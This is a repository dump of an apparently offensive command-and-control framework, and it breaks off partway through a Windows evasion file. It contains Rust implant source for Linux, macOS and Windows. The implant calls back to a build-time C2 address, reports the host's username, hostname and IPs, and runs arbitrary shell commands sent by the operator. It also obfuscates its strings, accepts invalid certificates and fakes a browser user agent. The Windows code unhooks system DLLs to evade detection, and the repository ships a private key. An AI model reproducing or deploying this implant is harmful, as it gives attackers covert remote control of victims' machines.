- all powershell modules should take advantage of xeca 24 | - add https://github.com/deadjakk/RustPivot/ 25 | - add https://github.com/itm4n/PPLdump 26 | 27 | [Compile obfuscation] 28 | Use the following projects for implementation 29 | - https://github.com/tsarpaul/llvm-string-obfuscator 30 | - https://github.com/moloch--/denim 31 | 32 | [Server] 33 | - launch server from cli 34 | - add other transports such as DNS 35 | - add xeca as a generate option 36 | - add autocompletion 37 | - add https://github.com/deadjakk/RustPivot/ 38 | - accept dynamic hostnames 39 | - use a better encoding than base64 for binary to ascii transfer, such as yEnc ose Base85 40 | 41 | [Code] 42 | - clean up repetition 43 | 44 | [Build] 45 | - for kali 'apt install mono-mcs' for dynamic powershell scripts || https://github.com/mgeeky/Stracciatella/releases/latest/download/Stracciatella.exe 46 | -------------------------------------------------------------------------------- /cert/cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIFCTCCAvGgAwIBAgIUTVuT1Q/VL8Kcn2ZLYmTcUtbgt9UwDQYJKoZIhvcNAQEL 3 | BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTIwMTIxNjA4NTcwMloXDTIxMTIx 4 | NjA4NTcwMlowFDESMBAGA1UEAwwJbG9jYWxob3N0MIICIjANBgkqhkiG9w0BAQEF 5 | AAOCAg8AMIICCgKCAgEA6EaZ/dvy2UWD5Zj7z7Rupvbh9p68fsPlllKY5CI1G8dT 6 | 2jMutqFTGjFgdosGmkmS1YuCIOCly3SpPbcBM7qQ/T6gV/yRRXmIZa8RGcKDsMJW 7 | 6dpIlw33Ba2KVUKsSllbqRn67+/SwDFK5jniyOM7nuMSQMMBphTnG3/yopho1ha/ 8 | w9LBbCFE7Ax/Brkehj7ntIomSTeuajiW7MGJcEy8lhGZc6W4PUQ4D0mJQ+w1fAdZ 9 | 4PNeI9XKsB+BhUlIghQqzapVvFBlBJNnijSsrYuBRghH/25sODjHWO4dVS5C/epR 10 | VeCY25/8NzQg4ZxcmSohw1pKhHHJGjG6aVxcxyuEHiGSXWyXg22WgYp4tBrCxbnO 11 | Q2fRJ0UgRQZprVlAGyODjLre5uKn16cdT5x3IYdB8MzlL8aI8WchDwoFCb1VeNek 12 | yAyArmhwhx8+odVtcqyAnLgjqrAHxwA0L4A3tuoC28zsSsrYTLD1E92BIdH8Q4Wy 13 | a6Yub8d0/uTzT5M3ZPjNRgcrtEc21vyQiS82ZhCZor8Il3kCNN4qPDftT+ZENoRd 14 | 4YlDpSSplQ7sWLfpqz6RdzPM0rBt6pLwXp7wkr4//W7n0qlm94BDobubUg+09pY2 15 | 7zGtUwccvsiRkVTeb14n7bM/VgWXGe84ohWqxb9ztQ69ktgwbI9vMF8ax+o7O+EC 16 | AwEAAaNTMFEwHQYDVR0OBBYEFHO4q4sBhTnasIg7JfuWqdHfzrUmMB8GA1UdIwQY 17 | MBaAFHO4q4sBhTnasIg7JfuWqdHfzrUmMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZI 18 | hvcNAQELBQADggIBAAR9AB2HVjNLBa497ZbYgNcRPxTCUkNlw0gGmZ8JSl94vOSp 19 | HhmlbELoUYKsnWx0owB/vKcBdOCLVE7m03FZwW0nzs8nWz4ctC0rlhzXZOylIxd6 20 | mgA5fvGB37tnqs79SUjgW0dY8IMeakRZ2gRhTfe0mz8vaskSZh7S+m2n0P8mdj+C 21 | ZYYh67Z7p6/3X7kQCmMJ/WmNgnZIWOPu/fF14mFh1ube+6DvLsVzylZrg/88Yw2R 22 | PNxhbfXIP/YmYa7h17Sdhz8/GD3Uy5GtKmNal9MhCB/JXlu1A7D+lERsm8rsEayi 23 | uwXTpDfAPOeDoWjaPAJk5RT0dqq2TLw3z/c0Cnh2bKwZfVZkoMRF4JVPUCMXmXqW 24 | xOf7ZMq1TeHdu7U1dKyHQgqnyfORSvEAgLKsBEwNppi4XHRW9qxxUjkKLhLHv3Vb 25 | WG5GfJ7m+CpF4qwvEMm1SHQQ4ZdbOFBMu2jMCEVx0AwPWYqt5nQwE/NLDS+zsvZV 26 | G/laQl/kOxfIufgHYpaAKSOVw/fwy/4egEdVJvkbfe8j9bNGvCHJmF1QeFPmNuL6 27 | sOdKikkNwXfY9PvRj3xvtTihALxa5CS+mmKyJLHfR6K+9zo6fYZ8QF8xNK6my6Jk 28 | PkZVCaG+3BHkPyVllLKHnBR7RBufAPfHVG96VdjPayNm8IGK/ImksPsiyhfK 29 | -----END CERTIFICATE----- 30 | -------------------------------------------------------------------------------- /cert/key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | 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 51 | uRCooLqjDvA97wRYaWzzR9segRDgKAji 52 | -----END PRIVATE KEY----- 53 | -------------------------------------------------------------------------------- /kali-install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # install dependencies 4 | sudo apt install -y libssl-dev 5 | sudo apt install -y librust-openssl-dev 6 | sudo apt install -y musl-tools 7 | # windows 8 | sudo apt install -y mingw-w64 9 | # osx 10 | sudo apt install -y cmake 11 | sudo apt install -y libxml2-dev 12 | curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 13 | source $HOME/.cargo/env 14 | 15 | # add target and config 16 | rustup target add x86_64-unknown-linux-musl 17 | # windows 18 | rustup target add x86_64-pc-windows-gnu 19 | cat > ~/.cargo/config << EOF 20 | [target.x86_64-pc-windows-gnu] 21 | linker = "/usr/bin/x86_64-w64-mingw32-gcc" 22 | ar = "/usr/x86_64-w64-mingw32/bin/ar" 23 | EOF 24 | # osx 25 | rustup target add x86_64-apple-darwin 26 | cat >> ~/.cargo/config << EOF 27 | 28 | [target.x86_64-apple-darwin] 29 | linker = "$HOME/.link/3rdparty/osxcross/target/bin/x86_64-apple-darwin15-clang" 30 | ar = "$HOME/.link/3rdparty/osxcross/target/bin/x86_64-apple-darwin15-ar" 31 | EOF 32 | 33 | cargo build --release 34 | echo -e "\n[+] link succesfully built, located at target/release/link" 35 | 36 | -------------------------------------------------------------------------------- /src/assets/donut: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/postrequest/link/892f71ed858ed4c67bc0ec43556cc87788627f72/src/assets/donut -------------------------------------------------------------------------------- /src/links/linux/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "link" 3 | version = "0.1.0" 4 | authors = ["postrequest"] 5 | edition = "2018" 6 | doc = false 7 | 8 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 9 | 10 | [profile.release] 11 | lto = true 12 | opt-level = 's' 13 | panic = 'abort' 14 | codegen-units = 1 15 | 16 | [features] 17 | dangerous_configuration = ["rustls/dangerous_configuration"] 18 | 19 | [dependencies] 20 | reqwest = { version = "0.10", features = ["blocking", "cookies", "json"] } 21 | rustls = "0.19.0" 22 | serde = "1.0.118" 23 | webpki = "0.21.4" 24 | base64 = "0.13.0" 25 | obfstr = "0.3" 26 | openssl = { version = "0.10.32", features = ["vendored"] } 27 | whoami = "1.1.2" 28 | ifcfg = "0.1" 29 | -------------------------------------------------------------------------------- /src/links/linux/build.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | println!("cargo:rustc-env=CALLBACK=10.0.2.2:8443"); 3 | } -------------------------------------------------------------------------------- /src/links/linux/src/main.rs: -------------------------------------------------------------------------------- 1 | mod stdlib; 2 | 3 | // UM link 4 | fn main() { 5 | stdlib::link_loop(); 6 | } 7 | -------------------------------------------------------------------------------- /src/links/linux/src/stdlib.rs: -------------------------------------------------------------------------------- 1 | // imports 2 | use std::time::Duration; 3 | use std::thread::sleep; 4 | use serde::{Serialize, Deserialize}; 5 | 6 | // structs 7 | #[derive(Debug, Serialize, Deserialize)] 8 | pub struct RegisterLink { 9 | pub link_username: String, 10 | pub link_hostname: String, 11 | pub internal_ip: String, 12 | pub external_ip: String, 13 | pub platform: String, 14 | pub pid: u32, 15 | } 16 | 17 | #[derive(Debug, Serialize, Deserialize)] 18 | pub struct Task { 19 | pub q: String, 20 | pub tasking: String, 21 | pub x_request_id: String, 22 | } 23 | 24 | pub fn link_loop() { 25 | let ua = user_link(); 26 | let client = reqwest::blocking::Client::builder() 27 | .user_agent(ua) 28 | .cookie_store(true) 29 | .danger_accept_invalid_certs(true) 30 | //.http2_prior_knowledge() 31 | .build().unwrap(); 32 | // SECURITY 33 | // encrypted callback string with env var at build 34 | let callback = env!("CALLBACK").to_string(); 35 | let step1_cb = format!("https://{}/js", callback); 36 | let step2_cb = format!("https://{}/static/register", callback); 37 | let step3_cb = format!("https://{}/static/get", callback); 38 | // keep retrying to reach C2 39 | loop { 40 | let step1 = client.get(step1_cb.as_str()).send(); 41 | match step1 { 42 | Ok(_) => break, 43 | Err(_) => continue, 44 | } 45 | } 46 | let register_link = RegisterLink { 47 | link_username: whoami::username(), 48 | link_hostname: whoami::hostname(), 49 | internal_ip: internal_ip(), 50 | external_ip: String::new(), 51 | platform: std::env::consts::OS.to_string(), 52 | pid: pid(), 53 | }; 54 | let mut uresp: reqwest::blocking::Response; 55 | loop { 56 | let resp = client.post(step2_cb.as_str()) 57 | .json(®ister_link) 58 | .send(); 59 | match resp { 60 | Ok(_) => { 61 | uresp = resp.unwrap(); 62 | break 63 | }, 64 | Err(_) => continue, 65 | } 66 | } 67 | let mut recv_task: Task = uresp.json().unwrap(); 68 | 69 | // link loop 70 | let mut send_task = Task { 71 | q: String::from(""), 72 | tasking: String::from(""), 73 | x_request_id: String::from(""), 74 | }; 75 | loop { 76 | // poll 77 | let resp = client.post(step3_cb.as_str()) 78 | .header("x-request-id", recv_task.x_request_id.clone()) 79 | .json(&send_task) 80 | .send(); 81 | match resp { 82 | Ok(_) => (), 83 | Err(_) => continue, 84 | } 85 | uresp = resp.unwrap(); 86 | recv_task = uresp.json().unwrap(); 87 | send_task.q = String::new(); 88 | send_task.tasking = String::new(); 89 | 90 | if recv_task.tasking.len() > 0 { 91 | // time to exec the command 92 | send_task.q = link_command(recv_task.q); 93 | if send_task.q.clone() == "exit".to_string() { 94 | break; 95 | } 96 | send_task.tasking = recv_task.tasking; 97 | recv_task.q = String::new(); 98 | recv_task.tasking = String::new(); 99 | // no need to wait after a task 100 | continue; 101 | } 102 | // this should be defined by server with jitter and delay 103 | sleep(Duration::from_secs(3)); 104 | } 105 | } 106 | 107 | fn link_command(command: String) -> String { 108 | // DEBUG AGENT 109 | let arg_split = command.as_str().split(' '); 110 | let args = arg_split.collect::>(); 111 | // obfsscated args 112 | match args[0] { 113 | a if (a == obfstr::obfstr!("shell")) => shell(args), 114 | a if (a == obfstr::obfstr!("cd")) => cd(args), 115 | a if (a == obfstr::obfstr!("pwd")) => pwd(), 116 | a if (a == obfstr::obfstr!("ls")) => ls(args), 117 | a if (a == obfstr::obfstr!("pid")) => pid().to_string(), 118 | a if (a == obfstr::obfstr!("whoami")) => String::from(format!("{}@{}", whoami::username(), whoami::hostname())), 119 | a if (a == obfstr::obfstr!("exit")) => return "exit".to_string(), 120 | _ => String::from(format!("not a command")), 121 | } 122 | } 123 | 124 | fn shell(args: Vec<&str>) -> String { 125 | if args.len() < 1 { 126 | return String::from("") 127 | } 128 | let output = std::process::Command::new(args[1]) 129 | .args(&args[2..]) 130 | .output(); 131 | match output { 132 | Ok(output) => { return String::from(format!("{}{}", 133 | String::from_utf8(output.stdout).unwrap(), 134 | String::from_utf8(output.stderr).unwrap())) 135 | }, 136 | Err(e) => return format!("{}", e), 137 | } 138 | } 139 | 140 | fn ls(args: Vec<&str>) -> String { 141 | let mut directory = "."; 142 | if args.len() > 1 { 143 | directory = args[1]; 144 | } 145 | let read = std::fs::read_dir(directory); 146 | let mut output: Vec = Vec::new(); 147 | if read.is_ok() { 148 | for path in read.unwrap() { 149 | if let Ok(entry) = path { 150 | // get more metadata and format correctly 151 | // file and folder perms 152 | if let Ok(metadata) = entry.metadata() { 153 | output.push(String::from(format!("{:100} {}", entry.path().display(), metadata.len()))); 154 | } else { 155 | output.push(String::from(format!("{}", entry.path().display()))); 156 | } 157 | } 158 | } 159 | } else { 160 | return String::from(format!("Could not ls: {:?}", read.err().unwrap())) 161 | } 162 | output.join("\n") 163 | } 164 | 165 | fn pwd() -> String { 166 | if let Ok(current) = std::env::current_dir() { 167 | return String::from(format!("{}", current.display())) 168 | } else { 169 | return String::from("Could not get current directory") 170 | } 171 | } 172 | 173 | fn cd(args: Vec<&str>) -> String { 174 | if args.len() > 1 { 175 | if std::env::set_current_dir(args[1]).is_ok() { 176 | return String::from(args[1]) 177 | } else { 178 | return String::from("Could not change directory") 179 | } 180 | } else { 181 | return String::from("") 182 | } 183 | } 184 | 185 | fn internal_ip() -> String { 186 | use ifcfg; 187 | let mut iface_string = String::new(); 188 | let ifaces = ifcfg::IfCfg::get().expect("no if"); 189 | for inf in ifaces { 190 | for addr in inf.addresses { 191 | match addr.address_family { 192 | ifcfg::AddressFamily::IPv4 => { 193 | let ip_raw = addr.address.unwrap().to_string(); 194 | if iface_string.is_empty() { 195 | iface_string = format!("{}", ip_raw); 196 | continue; 197 | } 198 | iface_string = format!("{},{}", iface_string, ip_raw); 199 | } 200 | _ => (), 201 | } 202 | } 203 | } 204 | iface_string 205 | } 206 | 207 | fn pid() -> u32 { 208 | std::process::id() 209 | } 210 | 211 | // TODO 212 | // dynamic with build env var 213 | fn user_link() -> String { 214 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko".to_string() 215 | } 216 | -------------------------------------------------------------------------------- /src/links/osx/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "link" 3 | version = "0.1.0" 4 | authors = ["postrequest"] 5 | edition = "2018" 6 | doc = false 7 | 8 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 9 | 10 | [profile.release] 11 | lto = true 12 | opt-level = 's' 13 | panic = 'abort' 14 | codegen-units = 1 15 | 16 | [dependencies] 17 | reqwest = { version = "0.10", features = ["blocking", "cookies", "json"] } 18 | serde = "1.0.118" 19 | webpki = "0.21.4" 20 | base64 = "0.13.0" 21 | obfstr = "0.3" 22 | whoami = "1.1.2" 23 | ifcfg = "0.1" 24 | -------------------------------------------------------------------------------- /src/links/osx/build.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | println!("cargo:rustc-env=CALLBACK=10.0.2.2:8443"); 3 | } -------------------------------------------------------------------------------- /src/links/osx/src/main.rs: -------------------------------------------------------------------------------- 1 | mod stdlib; 2 | 3 | // UM link 4 | fn main() { 5 | stdlib::link_loop(); 6 | } 7 | -------------------------------------------------------------------------------- /src/links/osx/src/stdlib.rs: -------------------------------------------------------------------------------- 1 | // imports 2 | use std::time::Duration; 3 | use std::thread::sleep; 4 | use serde::{Serialize, Deserialize}; 5 | 6 | // structs 7 | #[derive(Debug, Serialize, Deserialize)] 8 | pub struct RegisterLink { 9 | pub link_username: String, 10 | pub link_hostname: String, 11 | pub internal_ip: String, 12 | pub external_ip: String, 13 | pub platform: String, 14 | pub pid: u32, 15 | } 16 | 17 | #[derive(Debug, Serialize, Deserialize)] 18 | pub struct Task { 19 | pub q: String, 20 | pub tasking: String, 21 | pub x_request_id: String, 22 | } 23 | 24 | pub fn link_loop() { 25 | let ua = user_link(); 26 | let client = reqwest::blocking::Client::builder() 27 | .user_agent(ua) 28 | .cookie_store(true) 29 | .danger_accept_invalid_certs(true) 30 | //.http2_prior_knowledge() 31 | .build().unwrap(); 32 | // SECURITY 33 | // encrypted callback string with env var at build 34 | let callback = env!("CALLBACK").to_string(); 35 | let step1_cb = format!("https://{}/js", callback); 36 | let step2_cb = format!("https://{}/static/register", callback); 37 | let step3_cb = format!("https://{}/static/get", callback); 38 | // keep retrying to reach C2 39 | loop { 40 | let step1 = client.get(step1_cb.as_str()).send(); 41 | match step1 { 42 | Ok(_) => break, 43 | Err(_) => continue, 44 | } 45 | } 46 | let register_link = RegisterLink { 47 | link_username: whoami::username(), 48 | link_hostname: whoami::hostname(), 49 | internal_ip: internal_ip(), 50 | external_ip: String::new(), 51 | platform: std::env::consts::OS.to_string(), 52 | pid: pid(), 53 | }; 54 | let mut uresp: reqwest::blocking::Response; 55 | loop { 56 | let resp = client.post(step2_cb.as_str()) 57 | .json(®ister_link) 58 | .send(); 59 | match resp { 60 | Ok(_) => { 61 | uresp = resp.unwrap(); 62 | break 63 | }, 64 | Err(_) => continue, 65 | } 66 | } 67 | let mut recv_task: Task = uresp.json().unwrap(); 68 | 69 | // link loop 70 | let mut send_task = Task { 71 | q: String::from(""), 72 | tasking: String::from(""), 73 | x_request_id: String::from(""), 74 | }; 75 | loop { 76 | // poll 77 | let resp = client.post(step3_cb.as_str()) 78 | .header("x-request-id", recv_task.x_request_id.clone()) 79 | .json(&send_task) 80 | .send(); 81 | match resp { 82 | Ok(_) => (), 83 | Err(_) => continue, 84 | } 85 | uresp = resp.unwrap(); 86 | recv_task = uresp.json().unwrap(); 87 | send_task.q = String::new(); 88 | send_task.tasking = String::new(); 89 | 90 | if recv_task.tasking.len() > 0 { 91 | // time to exec the command 92 | send_task.q = link_command(recv_task.q); 93 | if send_task.q.clone() == "exit".to_string() { 94 | break; 95 | } 96 | send_task.tasking = recv_task.tasking; 97 | recv_task.q = String::new(); 98 | recv_task.tasking = String::new(); 99 | // no need to wait after a task 100 | continue; 101 | } 102 | // this should be defined by server with jitter and delay 103 | sleep(Duration::from_secs(3)); 104 | } 105 | } 106 | 107 | fn link_command(command: String) -> String { 108 | // DEBUG AGENT 109 | let arg_split = command.as_str().split(' '); 110 | let args = arg_split.collect::>(); 111 | // obfsscated args 112 | match args[0] { 113 | a if (a == obfstr::obfstr!("shell")) => shell(args), 114 | a if (a == obfstr::obfstr!("cd")) => cd(args), 115 | a if (a == obfstr::obfstr!("pwd")) => pwd(), 116 | a if (a == obfstr::obfstr!("ls")) => ls(args), 117 | a if (a == obfstr::obfstr!("pid")) => pid().to_string(), 118 | a if (a == obfstr::obfstr!("whoami")) => String::from(format!("{}@{}", whoami::username(), whoami::hostname())), 119 | a if (a == obfstr::obfstr!("exit")) => return "exit".to_string(), 120 | _ => String::from(format!("not a command")), 121 | } 122 | } 123 | 124 | fn shell(args: Vec<&str>) -> String { 125 | if args.len() < 1 { 126 | return String::from("") 127 | } 128 | let output = std::process::Command::new(args[1]) 129 | .args(&args[2..]) 130 | .output(); 131 | match output { 132 | Ok(output) => { return String::from(format!("{}{}", 133 | String::from_utf8(output.stdout).unwrap(), 134 | String::from_utf8(output.stderr).unwrap())) 135 | }, 136 | Err(e) => return format!("{}", e), 137 | } 138 | } 139 | 140 | fn ls(args: Vec<&str>) -> String { 141 | let mut directory = "."; 142 | if args.len() > 1 { 143 | directory = args[1]; 144 | } 145 | let read = std::fs::read_dir(directory); 146 | let mut output: Vec = Vec::new(); 147 | if read.is_ok() { 148 | for path in read.unwrap() { 149 | if let Ok(entry) = path { 150 | // get more metadata and format correctly 151 | // file and folder perms 152 | if let Ok(metadata) = entry.metadata() { 153 | output.push(String::from(format!("{:100} {}", entry.path().display(), metadata.len()))); 154 | } else { 155 | output.push(String::from(format!("{}", entry.path().display()))); 156 | } 157 | } 158 | } 159 | } else { 160 | return String::from(format!("Could not ls: {:?}", read.err().unwrap())) 161 | } 162 | output.join("\n") 163 | } 164 | 165 | fn pwd() -> String { 166 | if let Ok(current) = std::env::current_dir() { 167 | return String::from(format!("{}", current.display())) 168 | } else { 169 | return String::from("Could not get current directory") 170 | } 171 | } 172 | 173 | fn cd(args: Vec<&str>) -> String { 174 | if args.len() > 1 { 175 | if std::env::set_current_dir(args[1]).is_ok() { 176 | return String::from(args[1]) 177 | } else { 178 | return String::from("Could not change directory") 179 | } 180 | } else { 181 | return String::from("") 182 | } 183 | } 184 | 185 | fn internal_ip() -> String { 186 | use ifcfg; 187 | let mut iface_string = String::new(); 188 | let ifaces = ifcfg::IfCfg::get().expect("no if"); 189 | for inf in ifaces { 190 | for addr in inf.addresses { 191 | match addr.address_family { 192 | ifcfg::AddressFamily::IPv4 => { 193 | let ip_raw = addr.address.unwrap().to_string(); 194 | if iface_string.is_empty() { 195 | iface_string = format!("{}", ip_raw); 196 | continue; 197 | } 198 | iface_string = format!("{},{}", iface_string, ip_raw); 199 | } 200 | _ => (), 201 | } 202 | } 203 | } 204 | iface_string 205 | } 206 | 207 | fn pid() -> u32 { 208 | std::process::id() 209 | } 210 | 211 | // TODO 212 | // dynamic with build env var 213 | fn user_link() -> String { 214 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko".to_string() 215 | } 216 | -------------------------------------------------------------------------------- /src/links/windows/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "link" 3 | version = "0.1.0" 4 | authors = ["postrequest"] 5 | edition = "2018" 6 | doc = false 7 | 8 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 9 | 10 | [profile.release] 11 | lto = true 12 | opt-level = 's' 13 | panic = 'abort' 14 | codegen-units = 1 15 | 16 | [lib] 17 | path = "src/lib.rs" 18 | crate-type = ["staticlib", "cdylib"] 19 | 20 | [features] 21 | dangerous_configuration = ["rustls/dangerous_configuration"] 22 | 23 | [dependencies] 24 | winapi = { version = "0.3", features = ["heapapi", "winbase", "winhttp", "memoryapi"] } 25 | reqwest = { version = "0.10", features = ["blocking", "cookies", "json"] } 26 | rustls = "0.19.0" 27 | serde = "1.0.118" 28 | webpki = "0.21.4" 29 | base64 = "0.13.0" 30 | goblin = "0.3" 31 | obfstr = "0.3" 32 | ifcfg = { git = "https://github.com/postrequest/ifcfg-rs", branch = "cross-compilation-windows-dynamic" } 33 | sysinfo = "0.17" 34 | safetydump = { git = "https://github.com/postrequest/safetydump", branch = "main" } 35 | dynamic-winapi = { git = "https://github.com/postrequest/dynamic-winapi", branch = "main" } 36 | -------------------------------------------------------------------------------- /src/links/windows/build.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | println!("cargo:rustc-env=CALLBACK=10.0.2.2:8443"); 3 | } -------------------------------------------------------------------------------- /src/links/windows/src/evasion.rs: -------------------------------------------------------------------------------- 1 | use std::fs; 2 | use std::ffi::c_void; 3 | use goblin::pe::PE; 4 | 5 | use crate::stdlib::get_wide; 6 | 7 | pub fn refresh_dlls() { 8 | // load dlls 9 | let kernel32_bytes = match fs::read("C:\\Windows\\System32\\kernel32.dll") { 10 | Err(_) => return, 11 | Ok(kernel32) => kernel32, 12 | }; 13 | let kernelbase_bytes = match fs::read("C:\\Windows\\System32\\KernelBase.dll") { 14 | Err(_) => return, 15 | Ok(kernel32) => kernel32, 16 | }; 17 | let ntdll_bytes = match fs::read("C:\\Windows\\System32\\ntdll.dll") { 18 | Err(_) => return, 19 | Ok(ntdll) => ntdll, 20 | }; 21 | // parse dlls 22 | let kernel32 = PE::parse(&kernel32_bytes).unwrap(); 23 | let kernelbase = PE::parse(&kernelbase_bytes).unwrap(); 24 | let ntdll = PE::parse(&ntdll_bytes).unwrap(); 25 | // find .text sections 26 | let mut k32_text_ptr: *mut c_void = 0 as _; 27 | let mut k32_text_size: usize = 0; 28 | let mut kernelbase_text_ptr: *mut c_void = 0 as _; 29 | let mut kernelbase_text_size: usize = 0; 30 | let mut ntdll_text_ptr: *mut c_void = 0 as _; 31 | let mut ntdll_text_size: usize = 0; 32 | for i in 0..kernel32.sections.len() { 33 | if kernel32.sections[i].name().unwrap() == ".text" { 34 | k32_text_ptr = 